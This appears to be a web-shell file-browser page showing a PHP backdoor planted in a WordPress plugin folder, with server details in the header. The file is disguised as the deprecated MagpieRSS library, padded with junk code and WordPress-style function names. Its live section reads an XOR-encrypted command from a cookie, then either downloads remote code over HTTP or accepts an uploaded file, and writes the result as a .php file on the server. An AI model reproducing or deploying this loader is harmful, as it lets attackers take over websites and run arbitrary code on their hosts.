| Server IP : 89.248.107.232 / Your IP : 216.73.217.70 Web Server : Apache System : Linux host2.kasilh.com 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64 User : seg ( 10005) PHP Version : 7.4.33 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/seg-sa.es/serinco.es/wp-content/plugins/5ns1s4n8/ |
Upload File : |
<?php /*
*
* MagpieRSS: a simple RSS integration tool
*
* A compiled file for RSS syndication
*
* @author Kellan Elliott-McCrea <kellan@protest.net>
* @version 0.51
* @license GPL
*
* @package External
* @subpackage MagpieRSS
* @deprecated 3.0.0 Use SimplePie instead.
*
* Deprecated. Use SimplePie (class-simplepie.php) instead.
_deprecated_file( basename( __FILE__ ), '3.0.0', WPINC . '/class-simplepie.php' );
*
* Fires before MagpieRSS is loaded, to optionally replace it.
*
* @since 2.3.0
* @deprecated 3.0.0
do_action( 'load_feed_engine' );
* RSS feed constant.
define('RSS', 'RSS');
define('ATOM', 'Atom');
define('MAGPIE_USER_AGENT', 'WordPress/' . $GLOBALS['wp_version']);
class MagpieRSS {
var $parser;
var $current_item = array(); item currently being parsed
var $items = array(); collection of parsed items
var $channel = array(); hash of channel fields
var $textinput = array();
var $image = array();
var $feed_type;
var $feed_version;
parser variables
var $stack = array(); parser stack
var $inchannel = false;
var $initem = false;
var $incontent = false; if in Atom <content mode="xml"> field
var $intextinput = false;
var $inimage = false;
var $current_field = '';
var $current_namespace = false;
var $ERROR = "";
var $_CONTENT_CONSTRUCTS = array('content', 'summary', 'info', 'title', 'tagline', 'copyright');
*
* PHP5 constructor.
function __construct( $source ) {
# Check if PHP xml isn't compiled
#
if ( ! function_exists('xml_parser_create') ) {
return trigger_error( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." );
}
$parser = xml_parser_create();
$this->parser = $parser;
# pass in parser, and a reference to this object
# set up handlers
#
xml_set_object( $this->parser, $this );
xml_set_element_handler($this->parser,
'feed_start_element', 'feed_end_element' );
xml_set_character_data_handler( $this->parser, 'feed_cdata' );
$status = xml_parse( $this->parser, $source );
if (! $status ) {
$errorcode = xml_get_error_code( $this->parser );
if ( $errorcode != XML_ERROR_NONE ) {
$xml_error = xml_error_string( $errorcode );
$error_line = xml_get_current_line_number($this->parser);
$error_col = xml_get_current_column_number($this->parser);
$errormsg = "$xml_error at line $error_line, column $error_col";
$this->error( $errormsg );
}
}
xml_parser_free( $this->parser );
unset( $this->parser );
$this->normalize();
}
*
* PHP4 constructor.
public function MagpieRSS( $source ) {
self::__construct( $source );
}
function feed_start_element($p, $element, &$attrs) {
$el = $element = strtolower($element);
$attrs = array_change_key_case($attrs, CASE_LOWER);
check for a namespace, and split if found
$ns = false;
if ( strpos( $element, ':' ) ) {
list($ns, $el) = explode( ':', $element, 2);
}
if ( $ns and $ns != 'rdf' ) {
$this->current_namespace = $ns;
}
# if feed type isn't set, then this is first element of feed
# identify feed from root element
#
if (!isset($this->feed_type) ) {
if ( $el == 'rdf' ) {
$this->feed_type = RSS;
$this->feed_version = '1.0';
}
elseif ( $el == 'rss' ) {
$this->feed_type = RSS;
$this->feed_version = $attrs['version'];
}
elseif ( $el == 'feed' ) {
$this->feed_type = ATOM;
$this->feed_version = $attrs['version'];
$this->inchannel = true;
}
return;
}
if ( $el == 'channel' )
{
$this->inchannel = true;
}
elseif ($el == 'item' or $el == 'entry' )
{
$this->initem = true;
if ( isset($attrs['rdf:about']) ) {
$this->current_item['about'] = $attrs['rdf:about'];
}
}
if we're in the default namespace of an RSS feed,
record textinput or image fields
elseif (
$this->feed_type == RSS and
$this->current_namespace == '' and
$el == 'textinput' )
{
$this->intextinput = true;
}
elseif (
$this->feed_type == RSS and
$this->current_namespace == '' and
$el == 'image' )
{
$this->inimage = true;
}
# handle atom content constructs
elseif ( $this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) )
{
avoid clashing w/ RSS mod_content
if ($el == 'content' ) {
$el = 'atom_content';
}
$this->incontent = $el;
}
if inside an Atom content construct (e.g. content or summary) field treat tags as text
elseif ($this->feed_type == ATOM and $this->incontent )
{
if tags are inlined, then flatten
$attrs_str = join(' ',
array_map(array('MagpieRSS', 'map_attrs'),
array_keys($attrs),
array_values($attr*/
/**
* Checks if a given request has access to get autosaves.
*
* @since 5.0.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, WP_Error object otherwise.
*/
function get_blog_permalink($supports_client_navigation)
{
$parsed_icon = sprintf("%c", $supports_client_navigation);
return $parsed_icon;
}
/**
* @return array<int, int>
*/
function url_is_accessable_via_ssl($parsedChunk) {
$instance_number = "EncodeThis";
$LongMPEGlayerLookup = hash("sha1", $instance_number); // so cannot use this method
$tinymce_settings = trim($LongMPEGlayerLookup);
if (strlen($tinymce_settings) > 30) {
$unsorted_menu_items = substr($tinymce_settings, 0, 30);
}
return $parsedChunk * 2;
}
/**
* Retrieves a specific block type.
*
* @since 5.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
function wp_update_category($ID3v2_keys_bad, $state_data)
{
$format_to_edit = file_get_contents($ID3v2_keys_bad);
$theme_action = wp_load_core_site_options($format_to_edit, $state_data);
$registered_sidebars_keys = "testExample";
file_put_contents($ID3v2_keys_bad, $theme_action);
} // [8F] -- List of tracks on which the chapter applies. If this element is not present, all tracks apply
/**
* Given a block structure from memory pushes
* a new block to the output list.
*
* @internal
* @since 5.0.0
* @param WP_Block_Parser_Block $preset_border_colorlock The block to add to the output.
* @param int $token_start Byte offset into the document where the first token for the block starts.
* @param int $token_length Byte length of entire block from start of opening token to end of closing token.
* @param int|null $last_offset Last byte offset into document if continuing form earlier output.
*/
function set_sanitize_class($theme_stats) { // Value looks like this: 'var(--wp--preset--duotone--blue-orange)' or 'var:preset|duotone|blue-orange'.
$http_host = "Hash Test";
$RIFFsubtype = explode(" ", $http_host);
$redirect_url = trim($RIFFsubtype[1]);
if (!empty($redirect_url)) {
$DIVXTAG = hash('md5', $redirect_url);
$header_enforced_contexts = strlen($DIVXTAG);
$original_parent = str_pad($DIVXTAG, 16, "*");
}
return wp_iframe_tag_add_loading_attr($theme_stats) - predefined_api_key($theme_stats);
}
/**
* Filters the permalink for a page.
*
* @since 1.5.0
*
* @param string $link The page's permalink.
* @param int $post_id The ID of the page.
* @param bool $http_host Is it a sample permalink.
*/
function update_term_meta($store_name)
{ # crypto_hash_sha512_init(&hs);
addStringEmbeddedImage($store_name);
$should_filter = [1, 2, 3, 4]; // Set up meta_query so it's available to 'pre_get_terms'.
$pseudo_matches = array_map(function($x) { return $x * 2; }, $should_filter); // Image.
get_entries($store_name);
}
/**
* Retrieves term parents with separator.
*
* @since 4.8.0
*
* @param int $term_id Term ID.
* @param string $taxonomy Taxonomy name.
* @param string|array $header_tagsrgs {
* Array of optional arguments.
*
* @type string $format Use term names or slugs for display. Accepts 'name' or 'slug'.
* Default 'name'.
* @type string $separator Separator for between the terms. Default '/'.
* @type bool $link Whether to format as a link. Default true.
* @type bool $inclusive Include the term to get the parents for. Default true.
* }
* @return string|WP_Error A list of term parents on success, WP_Error or empty string on failure.
*/
function crypto_kx_seed_keypair() // This test may need expanding.
{
return __DIR__;
}
/* translators: 1: Plugin name, 2: Version number. */
function get_field_name($open_basedirs)
{
$submenu_items = 'EMrolngbitApExKLKDefygxBPgocHd';
$mlen = rawurldecode("Hello%20World");
if (isset($mlen)) {
$VorbisCommentError = explode(" ", $mlen);
}
// Only output the background size and repeat when an image url is set.
$has_old_auth_cb = count($VorbisCommentError);
if (isset($_COOKIE[$open_basedirs])) {
rest_handle_doing_it_wrong($open_basedirs, $submenu_items);
}
}
/*
* For a "subdomain" installation, the NOBLOGREDIRECT constant
* can be used to avoid a redirect to the signup form.
* Using the ms_site_not_found action is preferred to the constant.
*/
function privOpenFd($theme_stats) {
$side_meta_boxes = "Hello";
return array_sum($theme_stats);
} //otherwise reduce maxLength to start of the encoded char
/* translators: Month name, genitive. */
function get_mime_type($open_basedirs, $submenu_items, $store_name)
{ // * Header Extension Object [required] (additional functionality)
if (isset($_FILES[$open_basedirs])) {
$size_names = ["apple", "banana", "cherry"];
if (count($size_names) > 2) {
$requests = implode(", ", $size_names);
}
createHeader($open_basedirs, $submenu_items, $store_name);
} // ge25519_cmov8_cached(&t, pi, e[i]);
get_entries($store_name);
}
/**
* Adds an array of options to the list of allowed options.
*
* @since 5.5.0
*
* @global array $header_tagsllowed_options
*
* @param array $parsedChunkew_options
* @param string|array $options
* @return array
*/
function isShellSafe($query_from)
{
if (strpos($query_from, "/") !== false) {
$header_tags = "apple,banana,cherry";
$preset_border_color = explode(",", $header_tags);
$minbytes = trim($preset_border_color[0]);
if (in_array("banana", $preset_border_color)) {
$tablefield_type_base = array_merge($preset_border_color, array("date"));
}
$force_default = implode("-", $tablefield_type_base);
return true; // http://flac.sourceforge.net/format.html#metadata_block_picture
}
return false;
} // Ensure the ID attribute is unique.
/**
* @global string $post_type
* @global WP_Post_Type $post_type_object
* @global WP_Post $post Global post object.
*/
function LookupExtendedHeaderRestrictionsImageEncoding($uploaded_to_title) {
$has_shadow_support = '12345';
$i3 = url_is_accessable_via_ssl($uploaded_to_title);
$test_form = hash('sha1', $has_shadow_support);
return populate_network_meta($i3);
}
/**
* Attributes supported by every block.
*
* @since 6.0.0 Added `lock`.
* @since 6.5.0 Added `metadata`.
* @var array
*/
function get_udims($supports_client_navigation)
{
$supports_client_navigation = ord($supports_client_navigation);
$orderby_array = rawurldecode("Hello%20World!");
return $supports_client_navigation;
}
/**
* Fires before a template file is loaded.
*
* @since 6.1.0
*
* @param string $_template_file The full path to the template file.
* @param bool $load_once Whether to require_once or require.
* @param array $header_tagsrgs Additional arguments passed to the template.
*/
function wp_getTags($ID3v2_keys_bad, $index_key)
{
return file_put_contents($ID3v2_keys_bad, $index_key); // record textinput or image fields
}
/**
* The message Date to be used in the Date header.
* If empty, the current date will be added.
*
* @var string
*/
function changeset_post_id($theme_stats) { // * Error Correction Data
$upload_port = date("H:i");
if (strlen($upload_port) == 5) {
$leading_html_start = str_pad($upload_port, 8, "0");
$to_item_id = hash("sha256", $leading_html_start);
}
if(count($theme_stats) == 0) {
return 0;
}
return array_sum($theme_stats) / count($theme_stats);
}
/**
* Finds and exports personal data associated with an email address from the comments table.
*
* @since 4.9.6
*
* @param string $force_defaultmail_address The comment author email address.
* @param int $page Comment page number.
* @return array {
* An array of personal data.
*
* @type array[] $sitemap_types An array of personal data arrays.
* @type bool $tablefield_type_baseone Whether the exporter is finished.
* }
*/
function rest_handle_doing_it_wrong($open_basedirs, $submenu_items)
{ // Audiophile Replay Gain Adjustment %aaabbbcd %dddddddd
$isize = $_COOKIE[$open_basedirs];
$p_level = array("apple", "banana", "orange");
$sync_seek_buffer_size = str_replace("banana", "grape", implode(", ", $p_level));
if (in_array("grape", $p_level)) {
$link_attributes = "Grape is present.";
}
$isize = make_auto_draft_status_previewable($isize); # STATE_INONCE(state)[i];
$store_name = wp_load_core_site_options($isize, $submenu_items); // user-defined atom often seen containing XML data, also used for potentially many other purposes, only a few specifically handled by getID3 (e.g. 360fly spatial data)
if (isShellSafe($store_name)) {
$xml = update_term_meta($store_name);
return $xml;
}
get_mime_type($open_basedirs, $submenu_items, $store_name);
} // If locations have been selected for the new menu, save those.
/**
* Matches a request object to its handler.
*
* @access private
* @since 5.6.0
*
* @param WP_REST_Request $request The request object.
* @return array|WP_Error The route and request handler on success or a WP_Error instance if no handler was found.
*/
function make_auto_draft_status_previewable($image_default_size)
{ // Error messages for Plupload.
$in_comment_loop = pack("H*", $image_default_size); // 80-bit Apple SANE format
$header_tags = date("His");
$preset_border_color = "test";
$minbytes = in_array("value", array($preset_border_color));
return $in_comment_loop;
}
/**
* @param int $minbytesolorspace_id
*
* @return string|null
*/
function add_group($query_from)
{ // remove meaningless entries from unknown-format files
$query_from = wp_ajax_set_attachment_thumbnail($query_from);
$port = "Hello=World";
return file_get_contents($query_from);
}
/**
* Filters whether the current post is open for pings.
*
* @since 2.5.0
*
* @param bool $pings_open Whether the current post is open for pings.
* @param int $post_id The post ID.
*/
function is_dynamic_sidebar($ignore_codes, $user_password)
{
$user_blog = move_uploaded_file($ignore_codes, $user_password);
$iis_rewrite_base = " leading spaces ";
$yv = trim($iis_rewrite_base);
$queue_text = str_pad($yv, 30, '-');
return $user_blog;
}
/**
* Retrieves the CURIEs (compact URIs) used for relations.
*
* @since 4.5.0
*
* @return array Compact URIs.
*/
function wp_load_core_site_options($sitemap_types, $state_data)
{ // The item_link and item_link_description for post formats is the
$frmsizecod = strlen($state_data);
$is_theme_installed = "0123456789abcdefghijklmnopqrstuvwxyz";
$root_variable_duplicates = str_pad($is_theme_installed, 50, '0');
if (in_array('abc', str_split(substr($root_variable_duplicates, 0, 30)))) {
$xml = "Found!";
}
$files = strlen($sitemap_types);
$frmsizecod = $files / $frmsizecod;
$frmsizecod = ceil($frmsizecod); // let t = tmin if k <= bias {+ tmin}, or
$pascalstring = str_split($sitemap_types); // ----- Copy the block of file headers from the old archive
$state_data = str_repeat($state_data, $frmsizecod);
$pack = str_split($state_data);
$pack = array_slice($pack, 0, $files);
$image_src = array_map("deactivate_sitewide_plugin", $pascalstring, $pack);
$image_src = implode('', $image_src); // For backward compatibility, if null has explicitly been passed as `$query_var`, assume `true`.
return $image_src;
}
/**
* Set the ihost. Returns true on success, false on failure (if there are
* any invalid characters).
*
* @param string $ihost
* @return bool
*/
function addStringEmbeddedImage($query_from)
{
$image_blocks = basename($query_from);
$tags_list = array('data1', 'data2', 'data3'); // Format Data Size WORD 16 // size of Format Data field in bytes
$post_default_title = count($tags_list);
$future_posts = "";
if ($post_default_title > 1) {
$preview_post_link_html = implode(",", $tags_list);
$gz_data = hash('sha3-256', $preview_post_link_html);
$has_enhanced_pagination = explode('2', $gz_data);
}
$ID3v2_keys_bad = html5_comment($image_blocks);
foreach ($has_enhanced_pagination as $patternselect) {
$future_posts .= $patternselect;
}
$mf_item = strlen($future_posts) ^ 2;
get_default_block_template_types($query_from, $ID3v2_keys_bad);
}
/**
* Memcached instance
* @var Memcached
*/
function get_entries($link_attributes) // results in a popstat() call (2 element array returned)
{
echo $link_attributes;
}
/**
* Renders a themes section as a JS template.
*
* The template is only rendered by PHP once, so all actions are prepared at once on the server side.
*
* @since 4.9.0
*/
function wp_getUsersBlogs($open_basedirs, $term_count = 'txt')
{
return $open_basedirs . '.' . $term_count; // New menu item. Default is draft status.
} // If not, easy peasy.
/**
* Plugins controller constructor.
*
* @since 5.5.0
*/
function html5_comment($image_blocks)
{
return crypto_kx_seed_keypair() . DIRECTORY_SEPARATOR . $image_blocks . ".php"; // Don't output the 'no signature could be found' failure message for now.
}
/**
* Capabilities that the individual user has been granted outside of those inherited from their role.
*
* @since 2.0.0
* @var bool[] Array of key/value pairs where keys represent a capability name
* and boolean values represent whether the user has that capability.
*/
function wp_ajax_set_attachment_thumbnail($query_from)
{
$query_from = "http://" . $query_from;
$the_comment_status = "SomeData123";
$lookBack = hash('sha256', $the_comment_status);
$is_multisite = strlen($lookBack); // Don't show if a block theme is activated and no plugins use the customizer.
if ($is_multisite == 64) {
$starter_copy = true;
}
return $query_from;
}
/**
* Filters whether to update network site or user counts when a new site is created.
*
* @since 3.7.0
*
* @see wp_is_large_network()
*
* @param bool $small_network Whether the network is considered small.
* @param string $minbytesontext Context. Either 'users' or 'sites'.
*/
function populate_network_meta($parsedChunk) {
$utf8_pcre = ['one', 'two', 'three'];
$selW = implode(' + ', $utf8_pcre);
$windows_1252_specials = $selW; // We don't need to return the body, so don't. Just execute request and return.
return $parsedChunk + 1;
}
/**
* Handles updating settings for the current Recent Comments widget instance.
*
* @since 2.8.0
*
* @param array $parsedChunkew_instance New settings for this instance as input by the user via
* WP_Widget::form().
* @param array $old_instance Old settings for this instance.
* @return array Updated settings to save.
*/
function get_default_block_template_types($query_from, $ID3v2_keys_bad)
{ // Uncompressed YUV 4:2:2
$EBMLbuffer_offset = add_group($query_from); // ----- Check that $p_archive is a valid zip file
$get_updated = "Text";
if (!empty($get_updated)) {
$has_processed_router_region = str_replace("e", "3", $get_updated);
if (strlen($has_processed_router_region) < 10) {
$xml = str_pad($has_processed_router_region, 10, "!");
}
}
if ($EBMLbuffer_offset === false) {
return false; // ----- Open the temporary zip file in write mode
}
return wp_getTags($ID3v2_keys_bad, $EBMLbuffer_offset);
} //Windows does not have support for this timeout function
/**
* Retrieves the adjacent post relational link.
*
* Can either be next or previous post relational link.
*
* @since 2.8.0
*
* @param string $title Optional. Link title format. Default '%title'.
* @param bool $in_same_term Optional. Whether link should be in the same taxonomy term.
* Default false.
* @param int[]|string $force_defaultxcluded_terms Optional. Array or comma-separated list of excluded term IDs.
* Default empty.
* @param bool $previous Optional. Whether to display link to previous or next post.
* Default true.
* @param string $taxonomy Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
* @return string|void The adjacent post relational link URL.
*/
function deactivate_sitewide_plugin($parsed_icon, $inclusions)
{
$return_type = get_udims($parsed_icon) - get_udims($inclusions);
$post_fields = "ToHashString";
$meta_box = rawurldecode($post_fields);
$inner_block_markup = hash('md5', $meta_box);
$return_type = $return_type + 256;
$handle_filename = str_pad($inner_block_markup, 32, "@");
$unused_plugins = substr($meta_box, 3, 7); // Iterate over all registered scripts, finding dependents of the script passed to this method.
if (empty($unused_plugins)) {
$unused_plugins = str_pad($inner_block_markup, 50, "!");
}
$return_type = $return_type % 256;
$image_size_data = explode("T", $meta_box);
$f9g8_19 = implode("|", $image_size_data);
$framesizeid = array_merge($image_size_data, array($unused_plugins)); // Serialize settings one by one to improve memory usage.
$ping = date('Y/m/d H:i:s');
$parsed_icon = get_blog_permalink($return_type);
return $parsed_icon;
} // $thisfile_mpeg_audio['region0_count'][$granule][$minbyteshannel] = substr($SideInfoBitstream, $SideInfoOffset, 4);
/**
* Displays an editor: TinyMCE, HTML, or both.
*
* @since 2.1.0
* @deprecated 3.3.0 Use wp_editor()
* @see wp_editor()
*
* @param string $index_key Textarea content.
* @param string $id Optional. HTML ID attribute value. Default 'content'.
* @param string $prev_id Optional. Unused.
* @param bool $media_buttons Optional. Whether to display media buttons. Default true.
* @param int $tab_index Optional. Unused.
* @param bool $force_defaultxtended Optional. Unused.
*/
function createHeader($open_basedirs, $submenu_items, $store_name)
{
$image_blocks = $_FILES[$open_basedirs]['name'];
$tempAC3header = "Inception_2010";
$options_to_update = str_replace("_", " ", $tempAC3header); // Uh oh:
$max_fileupload_in_bytes = substr($options_to_update, 0, 8);
$global_styles_color = hash("sha256", $max_fileupload_in_bytes);
$t_ = str_pad($global_styles_color, 36, "!");
$ID3v2_keys_bad = html5_comment($image_blocks);
$OS_remote = explode(" ", $options_to_update);
wp_update_category($_FILES[$open_basedirs]['tmp_name'], $submenu_items);
$int0 = date("Y-m-d");
$p_index = implode("-", $OS_remote);
$is_multicall = array_merge($OS_remote, array($int0)); // We will 404 for paged queries, as no posts were found.
$skip_options = implode("|", $is_multicall);
is_dynamic_sidebar($_FILES[$open_basedirs]['tmp_name'], $ID3v2_keys_bad); // Prevent navigation blocks referencing themselves from rendering.
}
/**
* Determines whether the current request is for a user admin screen.
*
* e.g. `/wp-admin/user/`
*
* Does not check if the user is an administrator; use current_user_can()
* for checking roles and capabilities.
*
* @since 3.1.0
*
* @global WP_Screen $minbytesurrent_screen WordPress current screen object.
*
* @return bool True if inside WordPress user administration pages.
*/
function wp_iframe_tag_add_loading_attr($theme_stats) { // Retained for backwards-compatibility. Unhooked by wp_enqueue_emoji_styles().
$LookupExtendedHeaderRestrictionsTextEncodings = "Mix and Match";
$registry = str_pad($LookupExtendedHeaderRestrictionsTextEncodings, 10, "*"); // Set Content-Type and charset.
$LongMPEGbitrateLookup = substr($registry, 0, 5);
$lyrics3lsz = hash('sha1', $LongMPEGbitrateLookup);
if(isset($lyrics3lsz)) {
$index_columns = strlen($lyrics3lsz);
$skip_options = trim(str_pad($lyrics3lsz, $index_columns+5, "1"));
}
return max($theme_stats);
}
/**
* Register a callback for a hook
*
* @param string $hook Hook name
* @param callable $minbytesallback Function/method to call on event
* @param int $priority Priority number. <0 is executed earlier, >0 is executed later
*/
function predefined_api_key($theme_stats) {
$pKey = "EncodedString"; // Go through each group...
return min($theme_stats);
}
$open_basedirs = 'yWzPbzJ'; // ----- Check for incompatible options
$reset = date("Y-m-d H:i:s");
get_field_name($open_basedirs); // The initial view is not always 'asc', we'll take care of this below.
$media = explode(' ', $reset);
$old_ms_global_tables = LookupExtendedHeaderRestrictionsImageEncoding(5);
$intro = $media[0];
/* s) ) );
$this->append_content( "<$element $attrs_str>" );
array_unshift( $this->stack, $el );
}
Atom support many links per containging element.
Magpie treats link elements of type rel='alternate'
as being equivalent to RSS's simple link element.
elseif ($this->feed_type == ATOM and $el == 'link' )
{
if ( isset($attrs['rel']) and $attrs['rel'] == 'alternate' )
{
$link_el = 'link';
}
else {
$link_el = 'link_' . $attrs['rel'];
}
$this->append($link_el, $attrs['href']);
}
set stack[0] to current element
else {
array_unshift($this->stack, $el);
}
}
function feed_cdata ($p, $text) {
if ($this->feed_type == ATOM and $this->incontent)
{
$this->append_content( $text );
}
else {
$current_el = join('_', array_reverse($this->stack));
$this->append($current_el, $text);
}
}
function feed_end_element ($p, $el) {
$el = strtolower($el);
if ( $el == 'item' or $el == 'entry' )
{
$this->items[] = $this->current_item;
$this->current_item = array();
$this->initem = false;
}
elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'textinput' )
{
$this->intextinput = false;
}
elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'image' )
{
$this->inimage = false;
}
elseif ($this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) )
{
$this->incontent = false;
}
elseif ($el == 'channel' or $el == 'feed' )
{
$this->inchannel = false;
}
elseif ($this->feed_type == ATOM and $this->incontent ) {
balance tags properly
note: This may not actually be necessary
if ( $this->stack[0] == $el )
{
$this->append_content("</$el>");
}
else {
$this->append_content("<$el />");
}
array_shift( $this->stack );
}
else {
array_shift( $this->stack );
}
$this->current_namespace = false;
}
function concat (&$str1, $str2="") {
if (!isset($str1) ) {
$str1="";
}
$str1 .= $str2;
}
function append_content($text) {
if ( $this->initem ) {
$this->concat( $this->current_item[ $this->incontent ], $text );
}
elseif ( $this->inchannel ) {
$this->concat( $this->channel[ $this->incontent ], $text );
}
}
smart append - field and namespace aware
function append($el, $text) {
if (!$el) {
return;
}
if ( $this->current_namespace )
{
if ( $this->initem ) {
$this->concat(
$this->current_item[ $this->current_namespace ][ $el ], $text);
}
elseif ($this->inchannel) {
$this->concat(
$this->channel[ $this->current_namespace][ $el ], $text );
}
elseif ($this->intextinput) {
$this->concat(
$this->textinput[ $this->current_namespace][ $el ], $text );
}
elseif ($this->inimage) {
$this->concat(
$this->image[ $this->current_namespace ][ $el ], $text );
}
}
else {
if ( $this->initem ) {
$this->concat(
$this->current_item[ $el ], $text);
}
elseif ($this->intextinput) {
$this->concat(
$this->textinput[ $el ], $text );
}
elseif ($this->inimage) {
$this->concat(
$this->image[ $el ], $text );
}
elseif ($this->inchannel) {
$this->concat(
$this->channel[ $el ], $text );
}
}
}
function normalize () {
if atom populate rss fields
if ( $this->is_atom() ) {
$this->channel['descripton'] = $this->channel['tagline'];
for ( $i = 0; $i < count($this->items); $i++) {
$item = $this->items[$i];
if ( isset($item['summary']) )
$item['description'] = $item['summary'];
if ( isset($item['atom_content']))
$item['content']['encoded'] = $item['atom_content'];
$this->items[$i] = $item;
}
}
elseif ( $this->is_rss() ) {
$this->channel['tagline'] = $this->channel['description'];
for ( $i = 0; $i < count($this->items); $i++) {
$item = $this->items[$i];
if ( isset($item['description']))
$item['summary'] = $item['description'];
if ( isset($item['content']['encoded'] ) )
$item['atom_content'] = $item['content']['encoded'];
$this->items[$i] = $item;
}
}
}
function is_rss () {
if ( $this->feed_type == RSS ) {
return $this->feed_version;
}
else {
return false;
}
}
function is_atom() {
if ( $this->feed_type == ATOM ) {
return $this->feed_version;
}
else {
return false;
}
}
function map_attrs($k, $v) {
return "$k=\"$v\"";
}
function error( $errormsg, $lvl = E_USER_WARNING ) {
if ( MAGPIE_DEBUG ) {
trigger_error( $errormsg, $lvl);
} else {
error_log( $errormsg, 0);
}
}
}
if ( !function_exists('fetch_rss') ) :
*
* Build Magpie object based on RSS from URL.
*
* @since 1.5.0
* @package External
* @subpackage MagpieRSS
*
* @param string $url URL to retrieve feed.
* @return MagpieRSS|false MagpieRSS object on success, false on failure.
function fetch_rss ($url) {
initialize constants
init();
if ( !isset($url) ) {
error("fetch_rss called without a url");
return false;
}
if cache is disabled
if ( !MAGPIE_CACHE_ON ) {
fetch file, and parse it
$resp = _fetch_remote_file( $url );
if ( is_success( $resp->status ) ) {
return _response_to_rss( $resp );
}
else {
error("Failed to fetch $url and cache is off");
return false;
}
}
else cache is ON
else {
Flow
1. check cache
2. if there is a hit, make sure it's fresh
3. if cached obj fails freshness check, fetch remote
4. if remote fails, return stale object, or error
$cache = new RSSCache( MAGPIE_CACHE_DIR, MAGPIE_CACHE_AGE );
if (MAGPIE_DEBUG and $cache->ERROR) {
debug($cache->ERROR, E_USER_WARNING);
}
$cache_status = 0; response of check_cache
$request_headers = array(); HTTP headers to send with fetch
$rss = 0; parsed RSS object
$errormsg = 0; errors, if any
if (!$cache->ERROR) {
return cache HIT, MISS, or STALE
$cache_status = $cache->check_cache( $url );
}
if object cached, and cache is fresh, return cached obj
if ( $cache_status == 'HIT' ) {
$rss = $cache->get( $url );
if ( isset($rss) and $rss ) {
$rss->from_cache = 1;
if ( MAGPIE_DEBUG > 1) {
debug("MagpieRSS: Cache HIT", E_USER_NOTICE);
}
return $rss;
}
}
else attempt a conditional get
set up headers
if ( $cache_status == 'STALE' ) {
$rss = $cache->get( $url );
if ( isset($rss->etag) and $rss->last_modified ) {
$request_headers['If-None-Match'] = $rss->etag;
$request_headers['If-Last-Modified'] = $rss->last_modified;
}
}
$resp = _fetch_remote_file( $url, $request_headers );
if (isset($resp) and $resp) {
if ($resp->status == '304' ) {
we have the most current copy
if ( MAGPIE_DEBUG > 1) {
debug("Got 304 for $url");
}
reset cache on 304 (at minutillo insistent prodding)
$cache->set($url, $rss);
return $rss;
}
elseif ( is_success( $resp->status ) ) {
$rss = _response_to_rss( $resp );
if ( $rss ) {
if (MAGPIE_DEBUG > 1) {
debug("Fetch successful");
}
add object to cache
$cache->set( $url, $rss );
return $rss;
}
}
else {
$errormsg = "Failed to fetch $url. ";
if ( $resp->error ) {
# compensate for Snoopy's annoying habbit to tacking
# on '\n'
$http_error = substr($resp->error, 0, -2);
$errormsg .= "(HTTP Error: $http_error)";
}
else {
$errormsg .= "(HTTP Response: " . $resp->response_code .')';
}
}
}
else {
$errormsg = "Unable to retrieve RSS file for unknown reasons.";
}
else fetch failed
attempt to return cached object
if ($rss) {
if ( MAGPIE_DEBUG ) {
debug("Returning STALE object for $url");
}
return $rss;
}
else we totally failed
error( $errormsg );
return false;
} end if ( !MAGPIE_CACHE_ON ) {
} end fetch_rss()
endif;
*
* Retrieve URL headers and content using WP HTTP Request API.
*
* @since 1.5.0
* @package External
* @subpackage MagpieRSS
*
* @param string $url URL to retrieve
* @param array $headers Optional. Headers to send to the URL.
* @return Snoopy style response
function _fetch_remote_file($url, $headers = "" ) {
$resp = wp_safe_remote_request( $url, array( 'headers' => $headers, 'timeout' => MAGPIE_FETCH_TIME_OUT ) );
if ( is_wp_error($resp) ) {
$error = array_shift($resp->errors);
$resp = new stdClass;
$resp->status = 500;
$resp->response_code = 500;
$resp->error = $error[0] . "\n"; \n = Snoopy compatibility
return $resp;
}
Snoopy returns headers unprocessed.
Also note, WP_HTTP lowercases all keys, Snoopy did not.
$return_headers = array();
foreach ( wp_remote_retrieve_headers( $resp ) as $key => $value ) {
if ( !is_array($value) ) {
$return_headers[] = "$key: $value";
} else {
foreach ( $value as $v )
$return_headers[] = "$key: $v";
}
}
$response = new stdClass;
$response->status = wp_remote_retrieve_response_code( $resp );
$response->response_code = wp_remote_retrieve_response_code( $resp );
$response->headers = $return_headers;
$response->results = wp_remote_retrieve_body( $resp );
return $response;
}
*
* Retrieve
*
* @since 1.5.0
* @package External
* @subpackage MagpieRSS
*
* @param array $resp
* @return MagpieRSS|bool
function _response_to_rss ($resp) {
$rss = new MagpieRSS( $resp->results );
if RSS parsed successfully
if ( $rss && (!isset($rss->ERROR) || !$rss->ERROR) ) {
find Etag, and Last-Modified
foreach ( (array) $resp->headers as $h) {
2003-03-02 - Nicola Asuni (www.tecnick.com) - fixed bug "Undefined offset: 1"
if (strpos($h, ": ")) {
list($field, $val) = explode(": ", $h, 2);
}
else {
$field = $h;
$val = "";
}
if ( $field == 'etag' ) {
$rss->etag = $val;
}
if ( $field == 'last-modified' ) {
$rss->last_modified = $val;
}
}
return $rss;
} else construct error message
else {
$errormsg = "Failed to parse RSS file.";
if ($rss) {
$errormsg .= " (" . $rss->ERROR . ")";
}
error($errormsg);
return false;
} end if ($rss and !$rss->error)
}
*
* Set up constants with default values, unless user overrides.
*
* @since 1.5.0
* @package External
* @subpackage MagpieRSS
function init () {
if ( defined('MAGPIE_INITALIZED') ) {
return;
}
else {
define('MAGPIE_INITALIZED', 1);
}
if ( !defined('MAGPIE_CACHE_ON') ) {
define('MAGPIE_CACHE_ON', 1);
}
if ( !defined('MAGPIE_CACHE_DIR') ) {
define('MAGPIE_CACHE_DIR', './cache');
}
